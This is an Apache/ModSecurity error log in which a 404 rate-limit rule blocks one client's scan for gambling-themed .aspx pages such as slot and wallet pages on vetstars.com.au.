[Tue Feb 10 09:04:34.029110 2026] [:error] [pid 59544:tid 59571] [client 146.59.46.29:33260] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYqEIqZySR9mFY4BailF7QAAAZQ"]
[Tue Feb 10 09:04:36.404288 2026] [:error] [pid 47937:tid 47947] [client 146.59.46.29:33266] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYqEJMpqXpC2CvJ3fOPlNgAAAMg"]
[Tue Feb 10 09:04:36.599648 2026] [:error] [pid 47831:tid 47885] [client 146.59.46.29:33282] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYqEJCdxbZYarWVkiACfPAAAAEw"]
[Tue Feb 10 09:04:39.097696 2026] [:error] [pid 47831:tid 47886] [client 146.59.46.29:52676] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYqEJydxbZYarWVkiACfQwAAAE0"]
[Tue Feb 10 09:04:39.161429 2026] [:error] [pid 47831:tid 47874] [client 146.59.46.29:52690] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYqEJydxbZYarWVkiACfRAAAAEE"]
[Tue Feb 10 09:04:41.838285 2026] [:error] [pid 47937:tid 47962] [client 146.59.46.29:52702] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYqEKcpqXpC2CvJ3fOPlOwAAANc"]
[Tue Feb 10 09:04:41.957281 2026] [:error] [pid 47937:tid 47939] [client 146.59.46.29:52708] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYqEKcpqXpC2CvJ3fOPlPAAAAMA"]
[Tue Feb 10 09:04:44.542562 2026] [:error] [pid 47831:tid 47875] [client 146.59.46.29:52710] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYqELCdxbZYarWVkiACfTQAAAEI"]
[Tue Feb 10 09:04:44.932837 2026] [:error] [pid 47831:tid 47888] [client 146.59.46.29:52722] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYqELCdxbZYarWVkiACfUQAAAE8"]
[Tue Feb 10 09:04:47.336926 2026] [:error] [pid 47831:tid 47880] [client 146.59.46.29:52738] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYqELydxbZYarWVkiACfVgAAAEc"]
[Tue Feb 10 09:04:47.705322 2026] [:error] [pid 47830:tid 47853] [client 146.59.46.29:52742] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYqEL0co45BZs8e301CHFgAAAAc"]
[Tue Feb 10 09:04:49.893018 2026] [:error] [pid 59407:tid 59433] [client 146.59.46.29:55632] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYqEMWLlhBXE3qmX-Jl7NQAAAVg"]
[Tue Feb 10 09:04:50.481948 2026] [:error] [pid 47831:tid 47881] [client 146.59.46.29:55646] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYqEMidxbZYarWVkiACfWAAAAEg"]
[Tue Feb 10 09:04:52.449444 2026] [:error] [pid 59407:tid 59429] [client 146.59.46.29:55662] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYqENGLlhBXE3qmX-Jl7OAAAAVQ"]
[Tue Feb 10 09:04:53.082342 2026] [:error] [pid 59544:tid 59576] [client 146.59.46.29:55674] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYqENaZySR9mFY4BailGBAAAAZg"]
[Tue Feb 10 09:04:54.967301 2026] [:error] [pid 59407:tid 59428] [client 146.59.46.29:55688] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYqENmLlhBXE3qmX-Jl7PQAAAVM"]
[Tue Feb 10 09:04:56.163225 2026] [:error] [pid 47837:tid 47913] [client 146.59.46.29:55702] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aYqEOHFY8KYFPX79Z4kxgQAAAI0"]
[Tue Feb 10 09:04:57.675113 2026] [:error] [pid 47837:tid 47903] [client 146.59.46.29:55714] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYqEOXFY8KYFPX79Z4kxhgAAAIM"]
[Tue Feb 10 09:04:58.843437 2026] [:error] [pid 59544:tid 59574] [client 146.59.46.29:56256] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aYqEOqZySR9mFY4BailGCgAAAZY"]
[Tue Feb 10 09:05:01.466289 2026] [:error] [pid 59407:tid 59422] [client 146.59.46.29:56264] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aYqEPWLlhBXE3qmX-Jl7QQAAAU0"]
[Tue Feb 10 09:05:04.270991 2026] [:error] [pid 30054:tid 30066] [client 146.59.46.29:56266] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYqEQGecgOOXCu-GgYWXkQAAAQo"]
[Tue Feb 10 09:05:07.012428 2026] [:error] [pid 30054:tid 30072] [client 146.59.46.29:56278] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYqEQ2ecgOOXCu-GgYWXmgAAARA"]
[Tue Feb 10 09:05:09.598353 2026] [:error] [pid 30054:tid 30076] [client 146.59.46.29:47922] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYqERWecgOOXCu-GgYWXpQAAARQ"]
[Tue Feb 10 09:05:12.488742 2026] [:error] [pid 47831:tid 47884] [client 146.59.46.29:47936] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYqESCdxbZYarWVkiACfpwAAAEs"]
[Tue Feb 10 09:05:45.312182 2026] [:error] [pid 47837:tid 47911] [client 146.59.46.29:47942] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYqEaXFY8KYFPX79Z4kxuAAAAIs"]
[Tue Feb 10 09:05:45.345051 2026] [:error] [pid 59407:tid 59410] [client 146.59.46.29:34236] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aYqEaWLlhBXE3qmX-Jl7dAAAAUE"]
[Tue Feb 10 09:05:47.825845 2026] [:error] [pid 47830:tid 47862] [client 146.59.46.29:42292] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYqEa0co45BZs8e301CHRAAAABA"]
[Tue Feb 10 09:05:47.990869 2026] [:error] [pid 30054:tid 30077] [client 146.59.46.29:42300] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aYqEa2ecgOOXCu-GgYWX0QAAARU"]
[Tue Feb 10 09:05:50.522718 2026] [:error] [pid 47937:tid 47947] [client 146.59.46.29:42524] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aYqEbspqXpC2CvJ3fOPleQAAAMg"]
[Tue Feb 10 09:05:50.602275 2026] [:error] [pid 47837:tid 47907] [client 146.59.46.29:42532] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYqEbnFY8KYFPX79Z4kxvgAAAIc"]
[Tue Feb 10 09:05:53.143021 2026] [:error] [pid 47831:tid 47896] [client 146.59.46.29:42556] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYqEcSdxbZYarWVkiACf7wAAAFc"]
[Tue Feb 10 09:05:53.143275 2026] [:error] [pid 30054:tid 30060] [client 146.59.46.29:42542] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYqEcWecgOOXCu-GgYWX2QAAAQQ"]
[Tue Feb 10 09:05:55.540223 2026] [:error] [pid 59544:tid 59563] [client 146.59.46.29:42560] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYqEc6ZySR9mFY4BailGQwAAAY8"]
[Tue Feb 10 09:05:55.812620 2026] [:error] [pid 30054:tid 30063] [client 146.59.46.29:42572] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYqEc2ecgOOXCu-GgYWX3QAAAQc"]
[Tue Feb 10 09:05:58.206572 2026] [:error] [pid 47837:tid 47908] [client 146.59.46.29:53138] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYqEdnFY8KYFPX79Z4kxxgAAAIg"]
[Tue Feb 10 09:05:58.278907 2026] [:error] [pid 47937:tid 47947] [client 146.59.46.29:53150] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYqEdspqXpC2CvJ3fOPlgQAAAMg"]
[Tue Feb 10 09:06:01.007328 2026] [:error] [pid 47837:tid 47921] [client 146.59.46.29:53164] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYqEeXFY8KYFPX79Z4kxygAAAJU"]
[Tue Feb 10 09:06:01.521177 2026] [:error] [pid 30054:tid 30078] [client 146.59.46.29:53168] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYqEeWecgOOXCu-GgYWX6QAAARY"]
[Tue Feb 10 09:06:03.855409 2026] [:error] [pid 47837:tid 47924] [client 146.59.46.29:53182] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYqEe3FY8KYFPX79Z4kxzAAAAJg"]
[Tue Feb 10 09:06:04.176576 2026] [:error] [pid 59407:tid 59416] [client 146.59.46.29:53186] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYqEfGLlhBXE3qmX-Jl7kAAAAUc"]
[Tue Feb 10 09:06:06.617054 2026] [:error] [pid 59407:tid 59410] [client 146.59.46.29:53192] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYqEfmLlhBXE3qmX-Jl7lAAAAUE"]
[Tue Feb 10 09:06:06.847257 2026] [:error] [pid 47831:tid 47885] [client 146.59.46.29:53206] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYqEfidxbZYarWVkiACf9wAAAEw"]
[Tue Feb 10 09:06:09.355667 2026] [:error] [pid 47831:tid 47883] [client 146.59.46.29:36778] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYqEgSdxbZYarWVkiACf_QAAAEo"]
[Tue Feb 10 09:06:09.383195 2026] [:error] [pid 47831:tid 47881] [client 146.59.46.29:36794] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYqEgSdxbZYarWVkiACf_gAAAEg"]
[Tue Feb 10 09:06:11.956699 2026] [:error] [pid 30054:tid 30069] [client 146.59.46.29:36804] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYqEg2ecgOOXCu-GgYWX9QAAAQ0"]
[Tue Feb 10 09:06:11.991428 2026] [:error] [pid 47831:tid 47893] [client 146.59.46.29:36816] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYqEgydxbZYarWVkiACgAgAAAFQ"]
[Tue Feb 10 09:06:14.516679 2026] [:error] [pid 59407:tid 59424] [client 146.59.46.29:36824] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYqEhmLlhBXE3qmX-Jl7mQAAAU8"]
[Tue Feb 10 09:06:14.521213 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:36818] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYqEhmecgOOXCu-GgYWX_QAAARc"]
[Tue Feb 10 09:06:17.012049 2026] [:error] [pid 47937:tid 47946] [client 146.59.46.29:36840] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYqEicpqXpC2CvJ3fOPljgAAAMc"]
[Tue Feb 10 09:06:17.593483 2026] [:error] [pid 47937:tid 47953] [client 146.59.46.29:36844] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYqEicpqXpC2CvJ3fOPljwAAAM4"]
[Tue Feb 10 09:06:19.689026 2026] [:error] [pid 59544:tid 59548] [client 146.59.46.29:37302] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYqEi6ZySR9mFY4BailGVQAAAYA"]
[Tue Feb 10 09:06:20.346939 2026] [:error] [pid 47830:tid 47863] [client 146.59.46.29:37314] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYqEjEco45BZs8e301CHWAAAABE"]
[Tue Feb 10 09:06:22.220192 2026] [:error] [pid 30054:tid 30072] [client 146.59.46.29:37326] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYqEjmecgOOXCu-GgYWYCwAAARA"]
[Tue Feb 10 09:06:23.047528 2026] [:error] [pid 59544:tid 59566] [client 146.59.46.29:37338] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYqEj6ZySR9mFY4BailGWQAAAZA"]
[Tue Feb 10 09:06:25.199913 2026] [:error] [pid 59544:tid 59549] [client 146.59.46.29:37344] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYqEkaZySR9mFY4BailGXQAAAYE"]
